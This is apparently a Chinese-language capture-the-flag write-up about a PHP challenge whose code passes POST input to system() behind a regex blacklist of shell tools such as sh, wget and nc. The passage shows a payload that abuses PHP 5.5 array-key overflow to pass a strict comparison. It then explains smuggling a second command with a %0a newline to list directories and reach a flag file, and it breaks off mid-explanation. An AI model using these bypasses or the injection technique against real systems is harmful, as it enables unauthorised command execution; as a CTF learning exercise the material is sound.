<?php
// php5.5.9
// 传参方式是post
$stuff = $_POST["stuff"];
// 白名单
$array = ['admin', 'user'];
// 既要数组强等于,又要首元素元素不等于
// 即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin'
if($stuff === $array && $stuff[0] != 'admin') {
// 取得另一个post参数
$num= $_POST["num"];
// 正则匹配,要求全是数字 /i --- 忽略大小写 ,/m --- 多行匹配
if (preg_match("/^\d+$/im",$num)){
// 黑名单过滤
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
// 命令执行
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
关键要素:
php版本:5.5.9
通过post传两个值,一个$stuff,一个$num (num里的内容会被代码执行)
满足:
- 既要数组强等于,又要首元素元素不等于。即要
$stuff === ['admin', 'user']
又要$stuff[0]!='admin'
。- 第二个参数要全是数字,且使用黑名单过滤了常用的命令
那么 怎么绕过呢。。。这好像是矛盾的东西,百思不得其解,看了下大佬的wp
第一个参数的绕过方法:利用php5.5版
本的数组key值溢出漏洞
。当php数组的数字索引的值过大时会导致数组的索引值被重新分配。如下代码所示:
具体的解释可以看这篇文章:php数组key溢出问题
$array = ['admin', 'user'];
$stuff[4294967296]='admin';
$stuff[]='user';
print_r($stuff);
echo "<br />";
var_dump($stuff === $array);
运行后
我试了一下 只有4294967296这个数字可以重新被索引,其他的不行,我不知道什么原理
构造一下payload:stuff[4294967296]=admin&stuff[]=user&num=789
页面显示了我们输入的数字
接下来就是绕过第二个参数的过滤了,即:绕过正则来执行恶意的命令。他只允许num是数字,而我们需要用代码来命令执行。这里用到 %0a
ls看根目录
cat /flag给过滤了
这里
-i 是代表文件的id号